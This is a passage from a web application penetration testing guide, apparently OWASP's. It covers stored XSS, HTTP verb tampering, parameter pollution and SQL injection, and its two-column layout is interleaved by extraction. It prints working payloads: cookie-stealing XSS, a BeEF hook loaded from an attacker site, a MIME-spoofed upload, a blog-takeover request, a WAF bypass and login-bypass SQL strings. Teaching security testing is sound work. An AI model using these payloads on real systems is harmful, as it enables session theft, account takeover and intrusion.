technology is parsing these parameters, so this type of evasion is A semi-automated, largely passive web application security
not always possible. If the tested environment concatenates the audit tool, optimized for an accurate and sensitive detection,
values of all parameters with the same name, then an attacker and automatic annotation, of potential problems and security-
could use this technique in order to bypass pattern- based secu- relevant design patterns based on the observation of existing,
rity mechanisms. user-initiated traffic in complex web 2.0 environments.
Regular attack:
• Burp Proxy - http://portswigger.net/proxy/
http://example/page.php?param=<script>[...]</script> Burp Proxy is an interactive HTTP/S proxy server for attacking
and testing web applications.

Attack using HPP: • OWASP Zed Attack Proxy (ZAP) -


OWASP_Zed_Attack_Proxy_Project
http://example/page.php?param=<script&param=>[...]</&p ZAP is an easy to use integrated penetration testing tool for
aram=script> finding vulnerabilities in web applications. It is designed to be
used by people with a wide range of security experience and as
such is ideal for developers and functional testers who are new
Result expected to penetration testing. ZAP provides automated scanners as well
See the XSS Filter Evasion Cheat Sheet for a more detailed list of as a set of tools that allow you to find security vulnerabilities
filter evasion techniques. Finally, analyzing answers can get com- manually.
plex. A simple way to do this is to use code that pops up a dialog,
as in our example. This typically indicates that an attacker could • OWASP Xenotix XSS Exploit Framework -
execute arbitrary JavaScript of his choice in the visitors’ browsers. OWASP_Xenotix_XSS_Exploit_Framework
OWASP Xenotix XSS Exploit Framework is an advanced Cross
Gray Box testing Site Scripting (XSS) vulnerability detection and exploitation
Gray Box testing is similar to Black box testing. In gray box test- framework. It provides Zero False Positive scan results with
ing, the pen-tester has partial knowledge of the application. In its unique Triple Browser Engine (Trident, WebKit, and Gecko)
this case, information regarding user input, input validation con- embedded scanner. It is claimed to have the world’s 2nd largest
trols, and how the user input is rendered back to the user might be XSS Payloads of about 1600+ distinctive XSS Payloads for
known by the pen-tester. effective XSS vulnerability detection and WAF Bypass. Xenotix
Scripting Engine allows you to create custom test cases and
If source code is available (White Box), all variables received from addons over the Xenotix API. It is incorporated with a feature rich
users should be analyzed. Moreover the tester should analyze any Information Gathering module for target Reconnaissance. The
sanitization procedures implemented to decide if these can be cir- Exploit Framework includes offensive XSS exploitation modules
cumvented. for Penetration Testing and Proof of Concept creation.
102

Web Application Penetration Testing

References • User visits vulnerable page


OWASP Resources • Malicious code is executed by the user’s browser
• XSS Filter Evasion Cheat Sheet
This type of attack can also be exploited with browser exploita-
Books tion frameworks such as BeEF, XSS Proxy and Backframe. These
• Joel Scambray, Mike Shema, Caleb Sima - “Hacking Exposed Web frameworks allow for complex JavaScript exploit development.
Applications”, Second Edition, McGraw-Hill, 2006 - ISBN 0-07-
226229-0 Stored XSS is particularly dangerous in application areas where
• Dafydd Stuttard, Marcus Pinto - “The Web Application’s users with high privileges have access. When the administrator
Handbook - Discovering and Exploiting Security Flaws”, 2008, Wiley, visits the vulnerable page, the attack is automatically executed
ISBN 978-0-470-17077-9 by their browser. This might expose sensitive information such as
• Jeremiah Grossman, Robert “RSnake” Hansen, Petko “pdp” D. session authorization tokens.
Petkov, Anton Rager, Seth Fogie - “Cross Site Scripting Attacks: XSS
Exploits and Defense”, 2007, Syngress, ISBN-10: 1-59749-154-3 How to Test
Black Box testing
Whitepapers The process for identifying stored XSS vulnerabilities is similar to
• CERT - Malicious HTML Tags Embedded in Client Web Requests: the process described during the testing for reflected XSS.
Read
• Rsnake - XSS Cheat Sheet: Read Input Forms
• cgisecurity.com - The Cross Site Scripting FAQ: Read The first step is to identify all points where user input is stored
• G.Ollmann - HTML Code Injection and Cross-site scripting: Read into the back-end and then displayed by the application. Typical
• A. Calvo, D.Tiscornia - alert(‘A javascritp agent’): examples of stored user input can be found in:
Read ( To be published )
• S. Frei, T. Dübendorfer, G. Ollmann, M. May - Understanding the • User/Profiles page: the application allows the user to edit/
Web browser threat: Read change profile details such as first name, last name, nickname,
avatar, picture, address, etc.
Testing for Stored Cross site scripting • Shopping cart: the application allows the user to store items
(OTG-INPVAL-002) into the shopping cart which can then be reviewed later
Summary • File Manager: application that allows upload of files
Stored Cross-site Scripting (XSS) is the most dangerous type of • Application settings/preferences: application that allows the
Cross Site Scripting. Web applications that allow users to store user to set preferences
data are potentially exposed to this type of attack. This chapter • Forum/Message board: application that permits exchange of
illustrates examples of stored cross site scripting injection and re- posts among users
lated exploitation scenarios. • Blog: if the blog application permits to users submitting
comments
Stored XSS occurs when a web application gathers input from a • Log: if the application stores some users input into logs.
user which might be malicious, and then stores that input in a data
store for later use. The input that is stored is not correctly filtered. Analyze HTML code
As a consequence, the malicious data will appear to be part of the Input stored by the application is normally used in HTML tags, but
web site and run within the user’s browser under the privileges it can also be found as part of JavaScript content. At this stage, it
of the web application. Since this vulnerability typically involves is fundamental to understand if input is stored and how it is posi-
at least two requests to the application, this may also called sec- tioned in the context of the page.
ond-order XSS. Differently from reflected XSS, the pen-tester should also inves-
tigate any out-of-band channels through which the application
This vulnerability can be used to conduct a number of browser-based receives and stores users input.
attacks including:
Note: All areas of the application accessible by administrators
• Hijacking another user’s browser should be tested to identify the presence of any data submitted
• Capturing sensitive information viewed by application users by users.
• Pseudo defacement of the application
• Port scanning of internal hosts (“internal” in relation to the users Example: Email stored data in index2.php
of the web application)
• Directed delivery of browser-based exploits
• Other malicious activities

Stored XSS does not need a malicious link to be exploited. A success-


ful exploitation occurs when a user visits a page with a stored XSS.
The following phases relate to a typical stored XSS attack scenario:

• Attacker stores malicious code into the vulnerable page


• User authenticates in the application
103

Web Application Penetration Testing

The HTML code of index2.php where the email value is located: A typical BeEF exploitation scenario involves:

<input class=”inputbox” type=”text” name=”email” size=”40” • Injecting a JavaScript hook which communicates to the attacker’s
value=”[email protected]” /> browser exploitation framework (BeEF)
• Waiting for the application user to view the vulnerable page
where the stored input is displayed
In this case, the tester needs to find a way to inject code outside the • Control the application user’s browser via the BeEF console
<input> tag as below:
The JavaScript hook can be injected by exploiting the XSS vulnerability
in the web application.
<input class=”inputbox” type=”text” name=”email” size=”40”
value=”[email protected]”> MALICIOUS CODE <!-- />
Example: BeEF Injection in index2.php:

Testing for Stored XSS [email protected]”><script src=http://attackersite/hook.js></


This involves testing the input validation and filtering controls of the script>
application. Basic injection examples in this case:

[email protected]”><script>alert(document.cookie)</script> When the user loads the page index2.php, the script hook.js is execut-
ed by the browser. It is then possible to access cookies, user screen-
shot, user clipboard, and launch complex XSS attacks.
[email protected]%22%3E%3Cscript%3Ealert(document.
Result Expected
cookie)%3C%2Fscript%3E

Ensure the input is submitted through the application. This normally


involves disabling JavaScript if client-side security controls are im-
plemented or modifying the HTTP request with a web proxy such as
WebScarab. It is also important to test the same injection with both
HTTP GET and POST requests. The above injection results in a popup
window containing the cookie values.

Result Expected:

The HTML code following the injection: This attack is particularly effective in vulnerable pages that are viewed
by many users with different privileges.
<input class=”inputbox” type=”text” name=”email” size=”40”
File Upload
value=”[email protected]”><script>alert(document.cookie)</
If the web application allows file upload, it is important to check if it is
script>
possible to upload HTML content. For instance, if HTML or TXT files are
allowed, XSS payload can be injected in the file uploaded. The pen-tes-
The input is stored and the XSS payload is executed by the browser ter should also verify if the file upload allows setting arbitrary MIME
when reloading the page. If the input is escaped by the application, types.
testers should test the application for XSS filters. For instance, if the
string “SCRIPT” is replaced by a space or by a NULL character then this Consider the following HTTP POST request for file upload:
could be a potential sign of XSS filtering in action. Many techniques ex-
ist in order to evade input filters (see testing for reflected XSS chapter). POST /fileupload.aspx HTTP/1.1
It is strongly recommended that testers refer to XSS Filter Evasion , […]
RSnake and Mario XSS Cheat pages, which provide an extensive list of
XSS attacks and filtering bypasses. Refer to the whitepapers and tools Content-Disposition: form-data; name=”uploadfile1”;
section for more detailed information. filename=”C:\Documents and Settings\test\Desktop\test.txt”
Content-Type: text/plain
Leverage Stored XSS with BeEF
Stored XSS can be exploited by advanced JavaScript exploitation test
frameworks such as BeEF, XSS Proxy and Backframe.
104

Web Application Penetration Testing

This design flaw can be exploited in browser MIME mishandling Note: The table above is only a summary of the most important
attacks. For instance, innocuous-looking files like JPG and GIF can parameters but, all user input parameters should be investigated.
contain an XSS payload that is executed when they are loaded by
the browser. This is possible when the MIME type for an image Tools
such as image/gif can instead be set to text/html. In this case the • OWASP CAL9000
file will be treated by the client browser as HTML. CAL9000 includes a sortable implementation of RSnake’s XSS At-
tacks, Character Encoder/Decoder, HTTP Request Generator and
HTTP POST Request forged: Response Evaluator, Testing Checklist, Automated Attack Editor
and much more.
Content-Disposition: form-data; name=”uploadfile1”;
filename=”C:\Documents and Settings\test\Desktop\test.gif” • PHP Charset Encoder(PCE) - http://h4k.in/encoding
Content-Type: text/html PCE helps you encode arbitrary texts to and from 65 kinds of char-
acter sets that you can use in your customized payloads.
<script>alert(document.cookie)</script>
• Hackvertor - http://www.businessinfo.co.uk/labs/hackvertor/
hackvertor.php
Also consider that Internet Explorer does not handle MIME types Hackvertor is an online tool which allows many types of encoding
in the same way as Mozilla Firefox or other browsers do. For in- and obfuscation of JavaScript (or any string input).
stance, Internet Explorer handles TXT files with HTML content as
HTML content. For further information about MIME handling, re- • BeEF - http://www.beefproject.com
fer to the whitepapers section at the bottom of this chapter. BeEF is the browser exploitation framework. A professional tool to
demonstrate the real-time impact of browser vulnerabilities.
Gray Box testing
Gray Box testing is similar to Black box testing. In gray box test- • XSS-Proxy - http://xss-proxy.sourceforge.net/
ing, the pen-tester has partial knowledge of the application. In this XSS-Proxy is an advanced Cross-Site-Scripting (XSS) attack tool.
case, information regarding user input, input validation controls,
and data storage might be known by the pen-tester. • Backframe - http://www.gnucitizen.org/projects/backframe/
Backframe is a full-featured attack console for exploiting WEB
Depending on the information available, it is normally recom- browsers, WEB users, and WEB applications.
mended that testers check how user input is processed by the ap-
plication and then stored into the back-end system. The following • WebScarab
steps are recommended: WebScarab is a framework for analyzing applications that com-
municate using the HTTP and HTTPS protocols.
• Use front-end application and enter input with special/invalid
characters • Burp - http://portswigger.net/burp/
• Analyze application response(s) Burp Proxy is an interactive HTTP/S proxy server for attacking and
• Identify presence of input validation controls testing web applications.
• Access back-end system and check if input is stored and how it
is stored • XSS Assistant - http://www.greasespot.net/
• Analyze source code and understand how stored input is Greasemonkey script that allow users to easily test any web appli-
rendered by the application cation for cross-site-scripting flaws.

If source code is available (White Box), all variables used in input • OWASP Zed Attack Proxy (ZAP) - OWASP_Zed_Attack_Proxy_
forms should be analyzed. In particular, programming languages Project
such as PHP, ASP, and JSP make use of predefined variables/func- ZAP is an easy to use integrated penetration testing tool for find-
tions to store input from HTTP GET and POST requests. ing vulnerabilities in web applications. It is designed to be used
by people with a wide range of security experience and as such is
The following table summarizes some special variables and func- ideal for developers and functional testers who are new to pen-
tions to look at when analyzing source code: etration testing. ZAP provides automated scanners as well as a
set of tools that allow you to find security vulnerabilities manually.

PHP ASP JSP



References
$_GET - HTTP GET OWASP Resources
variables • XSS Filter Evasion Cheat Sheet
Request.QueryString -
$_POST - HTTP POST HTTP GET doGet, doPost servlets -
variables HTTP GET and POST Books
Request.Form - HTTP • Joel Scambray, Mike Shema, Caleb Sima - “Hacking Exposed
$_REQUEST – http POST, POST request.getParameter -
GET and COOKIE variables HTTP GET/POST variables Web Applications”, Second Edition, McGraw-Hill, 2006 - ISBN
Server.CreateObject - used 0-07-226229-0
$_FILES - HTTP File to upload files
Upload variables
• Dafydd Stuttard, Marcus Pinto - “The Web Application’s Hand-
book - Discovering and Exploiting Security Flaws”, 2008, Wiley,
105

Web Application Penetration Testing

ISBN 978-0-470-17077-9 style links trigger a GET request; form data submitted via <form
• Jeremiah Grossman, Robert “RSnake” Hansen, Petko “pdp” D. method=’POST’></form> trigger POST requests. Forms defined
Petkov, Anton Rager, Seth Fogie - “Cross Site Scripting Attacks: without a method also send data via GET by default.
XSS Exploits and Defense”, 2007, Syngress, ISBN-10: 1-59749-
154-3 Oddly, the other valid HTTP methods are not supported by the
HTML standard [4]. Any HTTP method other than GET or POST
Whitepapers needs to be called outside the HTML document. However, JavaS-
• RSnake: “XSS (Cross Site Scripting) Cheat Sheet” - cript and AJAX calls may send methods other than GET and POST.
http://ha.ckers.org/xss.html
• CERT: “CERT Advisory CA-2000-02 Malicious HTML Tags As long as the web application being tested does not specifically
Embedded in Client Web Requests” - call for any non-standard HTTP methods, testing for HTTP verb
http://www.cert.org/advisories/CA-2000-02.html tampering is quite simple. If the server accepts a request other
• Amit Klein: “Cross-site Scripting Explained” -´\ than GET or POST, the test fails. The solutions is to disable all non
http://courses.csail.mit.edu/6.857/2009/handouts/css- GET or POST functionality within the web application server, or in
explained.pdf a web application firewall.
• Gunter Ollmann: “HTML Code Injection and Cross-site
Scripting” - http://www.technicalinfo.net/papers/CSS.html If methods such as HEAD or OPTIONS are required for your appli-
• CGISecurity.com: “The Cross Site Scripting FAQ” - cation, this increases the burden of testing substantially. Each ac-
http://www.cgisecurity.com/xss-faq.html tion within the system will need to be verified that these alternate
• Blake Frantz: “Flirting with MIME Types: A Browser’s methods do not trigger actions without proper authentication or
Perspective” - http://www.leviathansecurity.com/pdf/ reveal information about the contents or workings web applica-
Flirting%20with%20MIME%20Types.pdf tion. If possible, limit alternate HTTP method usage to a single
page that contains no user actions, such the default landing page
Testing for HTTP Verb Tampering (example: index.html).
(OTG-INPVAL-003)
Summary How to Test
The HTTP specification includes request methods other than the As the HTML standard does not support request methods other
standard GET and POST requests. A standards compliant web than GET or POST, we will need to craft custom HTTP requests to
server may respond to these alternative methods in ways not test the other methods.
anticipated by developers. Although the common description is We highly recommend using a tool to do this, although we will
‘verb’ tampering, the HTTP 1.1 standard refers to these request demonstrate how to do manually as well.
types as different HTTP ‘methods.’
Manual HTTP verb tampering testing
The full HTTP 1.1 specification [1] defines the following valid This example is written using the netcat package from openbsd
HTTP request methods, or verbs: (standard with most Linux distributions). You may also use telnet
(included with Windows) in a similar fashion.
OPTIONS
GET 1. Crafting custom HTTP requests
HEAD
POST • Each HTTP 1.1 request follows the following basic formatting
PUT and syntax. Elements surrounded by brackets [ ] are contextual to
DELETE your application. The empty newline at the end is required.
TRACE • In order to craft separate requests, you can manually type each
CONNECT [METHOD] /[index.htm] HTTP/1.1
host: [www.example.com]
If enabled, the Web Distributed Authoring and Version (WebDAV)
extensions [2] [3] permit several more HTTP methods:
request into netcat or telnet and examine the response. However,
to speed up testing, you may also store each request in a separate
PROPFIND
file.
PROPPATCH
MKCOL
This second approach is what we’ll demonstrate in these exam-
COPY
ples. Use your favorite editor to create a text file for each method.
MOVE
Modify for your application’s landing page and domain.
LOCK
UNLOCK
1.1 OPTIONS

However, most web applications only need to respond to GET and OPTIONS /index.html HTTP/1.1
POST requests, providing user data in the URL query string or ap- host: www.example.com
pended to the request respectively. The standard <a href=””></a>
106

Web Application Penetration Testing

1.2 GET spite no need for it):

GET /index.html HTTP/1.1


host: www.example.com

#!/bin/bash
1.3 HEAD
for webservmethod in GET POST PUT TRACE CONNECT
HEAD /index.html HTTP/1.1 OPTIONS PROPFIND;
host: www.example.com
do
printf “$webservmethod “ ;
1.4 POST printf “$webservmethod / HTTP/1.1\nHost: $1\n\n” | nc -q 1 $1
80 | grep “HTTP/1.1”
POST /index.html HTTP/1.1
host: www.example.com done

1.5 PUT

PUT /index.html HTTP/1.1


host: www.example.com

1.6 DELETE Automated HTTP verb tampering testing


If you are able to analyze your application via simple HTTP status
DELETE /index.html HTTP/1.1 codes (200 OK, 501 Error, etc) - then the following bash script will
host: www.example.com test all available HTTP methods.

Code copied verbatim from the Penetration Testing Lab blog [5]
1.7 TRACE
References
TRACE /index.html HTTP/1.1 Whitepapers
host: www.example.com • Arshan Dabirsiaghi: “Bypassing URL Authentication and Autho-
rization with HTTP Verb Tampering” - http://www.aspectsecurity.
1.8 CONNECT com/research-presentations/bypassing-vbaac-with-http-verb-
tampering
CONNECT /index.html HTTP/1.1
host: www.example.com Testing for HTTP Parameter pollution
(OTG-INPVAL-004)
Summary
Supplying multiple HTTP parameters with the same name may
2. Sending HTTP requests cause an application to interpret values in unanticipated ways. By
• For each method and/or method text file, send the request to exploiting these effects, an attacker may be able to bypass input
validation, trigger application errors or modify internal variables
values. As HTTP Parameter Pollution (in short HPP) affects a
nc www.example.com 80 < OPTIONS.http.txt
building block of all web technologies, server and client side at-
tacks exist.
your web server via netcat or telnet on port 80 (HTTP):
Current HTTP standards do not include guidance on how to inter-
3. Parsing HTTP responses pret multiple input parameters with the same name. For instance,
RFC 3986 simply defines the term Query String as a series of
• Although each HTTP method can potentially return different re- field-value pairs and RFC 2396 defines classes of reversed and
sults, there is only a single valid result for all methods other than unreserved query string characters. Without a standard in place,
GET and POST. web application components handle this edge case in a variety of
The web server should either ignore the request completely or re- ways (see the table below for details).
turn an error. Any other response indicates a test failure as the
server is responding to methods/verbs that are unnecessary. By itself, this is not necessarily an indication of vulnerability. How-
These methods should be disabled. ever, if the developer is not aware of the problem, the presence
of duplicated parameters may produce an anomalous behavior
• An example of a failed test (ie, the server supports OPTIONS de- in the application that can be potentially exploited by an attacker.
107

Web Application Penetration Testing

As often in security, unexpected behaviors are a usual source of Given the URL and querystring: http://example.com/?color=red&-
weaknesses that could lead to HTTP Parameter Pollution attacks color=blue
in this case. To better introduce this class of vulnerabilities and the
outcome of HPP attacks, it is interesting to analyze some real-life Web Application Server Backend ASP JSP

examples that have been discovered in the past. ASP.NET / IIS All occurrences concatenated color=red,blue
with a comma
Input Validation and filters bypass
ASP / IIS All occurrences concatenated color=red,blue
In 2009, immediately after the publication of the first research on with a comma
HTTP Parameter Pollution, the technique received attention from
PHP / Apache Last occurrence only color=blue
the security community as a possible way to bypass web applica-
tion firewalls. PHP / Zeus Last occurrence only color=blue
One of these flaws, affecting ModSecurity SQL Injection Core
JSP, Servlet / Apache Tomcat First occurrence only color=red
Rules, represents a perfect example of the impedance mismatch
between applications and filters. JSP, Servlet / Oracle Application First occurrence only color=red
Server 10g
The ModSecurity filter would correctly blacklist the following
string: select 1,2,3 from table, thus blocking this example URL JSP, Servlet / Jetty First occurrence only color=red
from being processed by the web server: /index.aspx?page=se-
IBM Lotus Domino Last occurrence only color=blue
lect 1,2,3 from table. However, by exploiting the concatenation of
multiple HTTP parameters, an attacker could cause the applica- IBM HTTP Server First occurrence only color=red
tion server to concatenate the string after the ModSecurity filter
mod_perl, libapreq2 / Apache First occurrence only color=red
already accepted the input.
As an example, the URL /index.aspx?page=select 1&page=2,3 Perl CGI / Apache First occurrence only color=red
from table would not trigger the ModSecurity filter, yet the appli- mod_wsgi (Python) / Apache First occurrence only color=red
cation layer would concatenate the input back into the full mali-
cious string. Python / Zope All occurrences in List data color=[‘red’,’blue’]
type

Another HPP vulnerability turned out to affect Apple Cups, the


well-known printing system used by many UNIX systems. Ex- (source: Media:AppsecEU09_CarettoniDiPaola_v0.8.pdf )
ploiting HPP, an attacker could easily trigger a Cross-Site Scripting
vulnerability using the following URL: http://127.0.0.1:631/admin How to Test
/?kerberos=onmouseover=alert(1)&kerberos. The application val- Luckily, because the assignment of HTTP parameters is typical-
idation checkpoint could be bypassed by adding an extra kerberos ly handled via the web application server, and not the application
argument having a valid string (e.g. empty string). As the valida- code itself, testing the response to parameter pollution should be
tion checkpoint would only consider the second occurrence, the standard across all pages and actions. However, as in-depth busi-
first kerberos parameter was not properly sanitized before being ness logic knowledge is necessary, testing HPP requires manual
used to generate dynamic HTML content. Successful exploitation testing. Automatic tools can only partially assist auditors as they
would result in Javascript code execution under the context of the tend to generate too many false positives. In addition, HPP can
hosting web site. manifest itself in client-side and server-side components.

Authentication bypass Server-side HPP


An even more critical HPP vulnerability was discovered in Blogger, To test for HPP vulnerabilities, identify any form or action that al-
the popular blogging platform. The bug allowed malicious users to lows user-supplied input. Query string parameters in HTTP GET
take ownership of the victim’s blog by using the following HTTP requests are easy to tweak in the navigation bar of the browser. If
request: the form action submits data via POST, the tester will need to use
The flaw resided in the authentication mechanism used by the an intercepting proxy to tamper with the POST data as it is sent to
the server. Having identified a particular input parameter to test,
one can edit the GET or POST data by intercepting the request, or
POST /add-authors.do HTTP/1.1
change the query string after the response page loads. To test for
HPP vulnerabilities simply append the same parameter to the GET
security_token=attackertoken&blogID=attackerblogidvalue
or POST data but with a different value assigned.
&blogID=victimblogidvalue&authorsList=goldshlager19test%
40gmail.com(attacker email)&ok=Invite
For example: if testing the search_string parameter in the query
string, the request URL would include that parameter name and
web application, as the security check was performed on the first value.
blogID parameter, whereas the actual operation used the second http://example.com/?search_string=kittens
occurrence. The particular parameter might be hidden among several other pa-
rameters, but the approach is the same; leave the other parameters
Expected Behavior by Application Server in place and append the duplicate.
The following table illustrates how different web technologies be- http://example.com/?mode=guest&search_string=kittens&num_
have in presence of multiple occurrences of the same HTTP pa- results=100
rameter. Append the same parameter with a different value
108

Web Application Penetration Testing

http://example.com/?mode=guest&search_string=kittens&num_ In particular, pay attention to responses having HPP vectors with-


results=100&search_string=puppies in data, src, href attributes or forms actions. Again, whether or not
and submit the new request. this default behavior reveals a potential vulnerability depends on the
specific input validation, filtering and application business logic. In ad-
Analyze the response page to determine which value(s) were dition, it is important to notice that this vulnerability can also affect
parsed. In the above example, the search results may show kit- query string parameters used in XMLHttpRequest (XHR), runtime
tens, puppies, some combination of both (kittens,puppies or kit- attribute creation and other plugin technologies (e.g. Adobe Flash’s
tens~puppies or [‘kittens’,’puppies’]), may give an empty result, or flashvars variables).
error page.
Tools
This behavior, whether using the first, last, or combination of in- OWASP ZAP HPP Passive/Active Scanners [1]
put parameters with the same name, is very likely to be consistent
across the entire application. Whether or not this default behavior HPP Finder (Chrome Plugin) [2]
reveals a potential vulnerability depends on the specific input vali-
dation and filtering specific to a particular application. As a general References
rule: if existing input validation and other security mechanisms are Whitepapers
sufficient on single inputs, and if the server assigns only the first • HTTP Parameter Pollution - Luca Carettoni, Stefano di Paola [3]
or last polluted parameters, then parameter pollution does not re- • Split and Join (Bypassing Web Application Firewalls with HTTP Pa-
veal a vulnerability. If the duplicate parameters are concatenated, rameter Pollution) - Lavakumar Kuppan [4]
different web application components use different occurrences or • Client-side Http Parameter Pollution Example (Yahoo! Classic Mail
testing generates an error, there is an increased likelihood of being flaw) - Stefano di Paola [5]
able to use parameter pollution to trigger security vulnerabilities. • How to Detect HTTP Parameter Pollution Attacks - Chrysostomos
Daniel [6]
A more in-depth analysis would require three HTTP requests for • CAPEC-460: HTTP Parameter Pollution (HPP) - Evgeny Lebanidze
each HTTP parameter: [7]
• Automated Discovery of Parameter Pollution Vulnerabilities in Web
[1] Submit an HTTP request containing the standard parameter name Applications - Marco Balduzzi, Carmen Torrano Gimenez, Davide Bal-
and value, and record the HTTP response. E.g. page?par1=val1 zarotti, Engin Kirda [8]
[2] Replace the parameter value with a tampered value, submit and
record the HTTP response. E.g. page?par1=HPP_TEST1 Testing for SQL Injection (OTG-INPVAL-005)
[3] Send a new request combining step (1) and (2). Again, save the Summary
HTTP response. E.g. page?par1=val1&par1=HPP_TEST1 An SQL injection attack consists of insertion or “injection” of either
[4] Compare the responses obtained during all previous steps. If the a partial or complete SQL query via the data input or transmitted
response from (3) is different from (1) and the response from (3) is from the client (browser) to the web application. A successful SQL
also different from (2), there is an impedance mismatch that may injection attack can read sensitive data from the database, modify
be eventually abused to trigger HPP vulnerabilities. database data (insert/update/delete), execute administration oper-
ations on the database (such as shutdown the DBMS), recover the
Crafting a full exploit from a parameter pollution weakness is beyond content of a given file existing on the DBMS file system or write files
the scope of this text. See the references for examples and details. into the file system, and, in some cases, issue commands to the op-
erating system. SQL injection attacks are a type of injection attack,
Client-side HPP in which SQL commands are injected into data-plane input in order
Similarly to server-side HPP, manual testing is the only reliable to affect the execution of predefined SQL commands.
technique to audit web applications in order to detect parameter
pollution vulnerabilities affecting client-side components. While in In general the way web applications construct SQL statements
the server-side variant the attacker leverages a vulnerable web ap- involving SQL syntax written by the programmers is mixed with
plication to access protected data or perform actions that either not user-supplied data. Example:
permitted or not supposed to be executed, client-side attacks aim
at subverting client-side components and technologies.
select title, text from news where id=$id
To test for HPP client-side vulnerabilities, identify any form or ac-
tion that allows user input and shows a result of that input back to In the example above the variable $id contains user-supplied data,
the user. A search page is ideal, but a login box might not work (as it while the remainder is the SQL static part supplied by the pro-
might not show an invalid username back to the user). grammer; making the SQL statement dynamic.

Similarly to server-side HPP, pollute each HTTP parameter with Because the way it was constructed, the user can supply crafted
%26HPP_TEST and look for url-decoded occurrences of the us- input trying to make the original SQL statement execute further
er-supplied payload: actions of the user’s choice. The example below illustrates the us-
er-supplied data “10 or 1=1”, changing the logic of the SQL state-
• &HPP_TEST ment, modifying the WHERE clause adding a condition “or 1=1”.
• &amp;HPP_TEST SQL Injection attacks can be divided into the following three
• … and others classes:
109

Web Application Penetration Testing

• Inband: data is extracted using the same channel that is used semicolon (;) to the field or parameter under test. The first is used
to inject the SQL code. This is the most straightforward kind of in SQL as a string terminator and, if not filtered by the application,
attack, in which the retrieved data is presented directly in the would lead to an incorrect query. The second is used to end a SQL
application web page. statement and, if it is not filtered, it is also likely to generate an er-
• Out-of-band: data is retrieved using a different channel (e.g., an ror. The output of a vulnerable field might resemble the following
email with the results of the query is generated and sent to the (on a Microsoft SQL Server, in this case):
tester).
• Inferential or Blind: there is no actual transfer of data, but the Microsoft OLE DB Provider for ODBC Drivers error ‘80040e14’
tester is able to reconstruct the information by sending particular [Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed
requests and observing the resulting behavior of the DB Server. quotation mark before the
character string ‘’.
A successful SQL Injection attack requires the attacker to craft a /target/target.asp, line 113
syntactically correct SQL Query. If the application returns an error
message generated by an incorrect query, then it may be easier
for an attacker to reconstruct the logic of the original query and, Also comment delimiters (-- or /* */, etc) and other SQL keywords
therefore, understand how to perform the injection correctly. like ‘AND’ and ‘OR’ can be used to try to modify the query. A very
However, if the application hides the error details, then the tester simple but sometimes still effective technique is simply to insert
must be able to reverse engineer the logic of the original query. a string where a number is expected, as an error like the following
might be generated:
About the techniques to exploit SQL injection flaws there are five
commons techniques. Also those techniques sometimes can be Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’
used in a combined way (e.g. union operator and out-of-band): [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error
converting the
• Union Operator: can be used when the SQL injection flaw varchar value ‘test’ to a column of data type int.
happens in a SELECT statement, making it possible to combine /target/target.asp, line 113
two queries into a single result or result set.
• Boolean: use Boolean condition(s) to verify whether certain
conditions are true or false. Monitor all the responses from the web server and have a look
• Error based: this technique forces the database to generate at the HTML/javascript source code. Sometimes the error is pres-
an error, giving the attacker or tester information upon which to ent inside them but for some reason (e.g. javascript error, HTML
refine their injection. comments, etc) is not presented to the user. A full error message,
• Out-of-band: technique used to retrieve data using a different like those in the examples, provides a wealth of information to
channel (e.g., make a HTTP connection to send the results to a the tester in order to mount a successful injection attack. How-
web server). ever, applications often do not provide so much detail: a simple
• Time delay: use database commands (e.g. sleep) to delay answers ‘500 Server Error’ or a custom error page might be issued, mean-
in conditional queries. It useful when attacker doesn’t have some ing that we need to use blind injection techniques. In any case, it
kind of answer (result, output, or error) from the application. is very important to test each field separately: only one variable
must vary while all the other remain constant, in order to precisely
How to Test understand which parameters are vulnerable and which are not.
Detection Techniques
The first step in this test is to understand when the application in- Standard SQL Injection Testing
teracts with a DB Server in order to access some data. Typical ex-
amples of cases when an application needs to talk to a DB include:
Example 1 (classical SQL Injection):
• Authentication forms: when authentication is performed using
a web form, chances are that the user credentials are checked Consider the following SQL query:
against a database that contains all usernames and passwords
(or, better, password hashes).
SELECT * FROM Users WHERE Username=’$username’ AND
• Search engines: the string submitted by the user could be used
Password=’$password’
in a SQL query that extracts all relevant records from a database.
• E-Commerce sites: the products and their characteristics
(price, description, availability, etc) are very likely to be stored in A similar query is generally used from the web application in order
a database. to authenticate a user. If the query returns a value it means that
inside the database a user with that set of credentials exists, then
The tester has to make a list of all input fields whose values could the user is allowed to login to the system, otherwise access is de-
be used in crafting a SQL query, including the hidden fields of POST nied. The values of the input fields are generally obtained from the
requests and then test them separately, trying to interfere with user through a web form. Suppose we insert the following User-
the query and to generate an error. Consider also HTTP headers name and Password values:
and Cookies.
$username = 1’ or ‘1’ = ‘1
The very first test usually consists of adding a single quote (‘) or a
110

Web Application Penetration Testing

$password = 1’ or ‘1’ = ‘1 $password = foo

The query will be: This may return a number of values. Sometimes, the authentica-
tion code verifies that the number of returned records/results is
exactly equal to 1. In the previous examples, this situation would
SELECT * FROM Users WHERE Username=’1’ OR ‘1’ = ‘1’ AND be difficult (in the database there is only one value per user). In
Password=’1’ OR ‘1’ = ‘1’ order to go around this problem, it is enough to insert a SQL com-
mand that imposes a condition that the number of the returned
If we suppose that the values of the parameters are sent to the results must be one. (One record returned) In order to reach this
server through the GET method, and if the domain of the vulner- goal, we use the operator “LIMIT <num>”, where <num> is the
able web site is www.example.com, the request that we’ll carry number of the results/records that we want to be returned. With
out will be: respect to the previous example, the value of the fields Username
After a short analysis we notice that the query returns a value (or and Password will be modified as follows:

$username = 1’ or ‘1’ = ‘1’)) LIMIT 1/*


http://www.example.com/index.php?username=1’%20or%20
’1’%20=%20’1&password=1’%20or%20’1’%20=%20’1
$password = foo

a set of values) because the condition is always true (OR 1=1). In


